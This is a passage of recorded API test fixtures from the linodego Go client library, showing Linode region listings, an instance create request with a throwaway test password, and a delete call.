{"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 30}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 11 Oct 2024 19:09:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-lax","type":"g6-nanode-1","label":"go-inst-test-create-bde","root_pass":"0c=NH(e@T!8o238b''S\\3Y2)w(weYu37TvE16,leQ.40mcH2oR)D\u003elEP;\u00261G1f.)R","image":"linode/debian9","firewall_id":1003268,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 65206304, "label": "go-inst-test-create-bde", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.233.151.13"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-lax", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "2321c6a4e9ac265d2df08e8f50dabfb42df5fbf7", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["Block Storage Encryption"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 11 Oct 2024 19:09:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/65206304 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 11 Oct 2024 19:09:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_withMetadata.yaml000066400000000000000000000651711474652371000325620ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 